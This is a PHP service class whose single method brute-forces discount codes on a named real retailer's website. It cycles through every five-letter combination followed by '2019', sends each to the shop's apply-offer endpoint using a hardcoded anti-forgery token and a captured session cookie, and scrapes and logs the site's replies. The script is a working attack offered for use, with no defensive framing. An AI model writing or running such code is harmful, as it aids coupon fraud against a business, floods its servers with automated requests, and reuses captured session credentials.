<?php

namespace App\Services;

use QL\QueryList;

use Monolog\Logger;
use Monolog\Handler\StreamHandler;

class VitabioticsService {
    public function testPromoCode()
    {
        $log = new Logger('name');
        $log->pushHandler(new StreamHandler('my.log', Logger::INFO));

        $rvToken = "_jYuhSTMNB5kRNLx08hiRG75Zm8ZBCAvj6WwGD8V7AYuR6SkyauO-XqBqtU4Vu82q1SBsevy6rCrRO8Nxfduy-_w3ZRDlAW7rhZ0H2SLajw1";

        foreach (range('A', 'Z') as $letter1) {
            foreach(range('A', 'Z') as $letter2) {
                foreach (range('A', 'Z') as $letter3) {
                    foreach (range('A', 'Z') as $letter4) {
                        foreach (range('A', 'Z') as $letter5) {

                            $postFields = "__RequestVerificationToken=". $rvToken ."&PromotionCode=" . $letter1 . $letter2 . $letter3 . $letter4 . $letter5 . "2019&X-Requested-With=XMLHttpRequest";
                            $curl = curl_init();
                            curl_setopt_array($curl, array(
                                CURLOPT_URL => "https://www.vitabiotics.com/shoppingbasket/_applyoffercode",
                                CURLOPT_RETURNTRANSFER => true,
                                CURLOPT_ENCODING => "",
                                CURLOPT_MAXREDIRS => 10,
                                CURLOPT_TIMEOUT => 30,
                                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                                CURLOPT_CUSTOMREQUEST => "POST",
                                CURLOPT_POSTFIELDS => $postFields,
                                CURLOPT_HTTPHEADER => array(
                                    "Accept: */*",
                                    "Accept-Encoding: gzip, deflate, br",
                                    "Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6,ja;q=0.5",
                                    "Connection: keep-alive",
                                    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
                                    "Cookie: m=0|Y; PERSONIFY=1560694988047-43710001-5178-424f-a4c7-508a6b9e0feb; _ga=GA1.2.546799240.1560695013; _gid=GA1.2.1772912799.1560695013; _fbp=fb.1.1560695017895.1693751082; ai_user=KEgWZ|2019-06-16T14:24:09.092Z; ASP.NET_SessionId=zhjerwaxfidxknghq5fm1z2y; __RequestVerificationToken=KsW8fv0mBnQivrc46Juy-mtGUrePucuI498ozD46exvjn8muHGThtP0txQa3InJbj7oEtwc6dviE4A1yHKIm_Jzgiswjr4cULrpe1cz5ufI1; _uoz=cVnALO2MqT8=; __uxv=6TQx3lmJuygihdG7K6/O3B0IyZ/1xeS1oTe+kA9INAY=; _dc_gtm_UA-31235-1=1; _gat_UA-31235-1=1; ai_session=SR3yx|1560780663068|1560780708224.845",
                                    "Origin: https://www.vitabiotics.com",
                                    "Postman-Token: 9a9d9d74-ab68-41fd-b0b6-cd2885e1d3d9",
                                    "Referer: https://www.vitabiotics.com/shoppingbasket",
                                    "Request-Context: appId=cid-v1:6a40b218-a393-4a28-b86c-ef658e106cf2",
                                    "Request-Id: |ZnpZn.z7Dki",
                                    "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36",
                                    "X-Requested-With: XMLHttpRequest",
                                    "cache-control: no-cache"
                                ),
                            ));

                            $response = curl_exec($curl);
                            $err = curl_error($curl);

                            curl_close($curl);

                            if ($err) {
                                echo "cURL Error #:" . $err;
                            } else {
                                echo $response;
                                $ql = QueryList::html($response);
                                $rt = $ql->find(".panel-body .small")->text();
                                usleep(500);
                                $log->info($letter1 . $letter2 . $letter3 . $letter4 . $letter5 . " " .$rt);
                                $token = $ql->find("input:eq(0)")->val();
                                echo $token . "\n";
                                echo $rt . "\n";
                                exit;
                            }
                        }
                    }
                }
            }
            }
    }
}


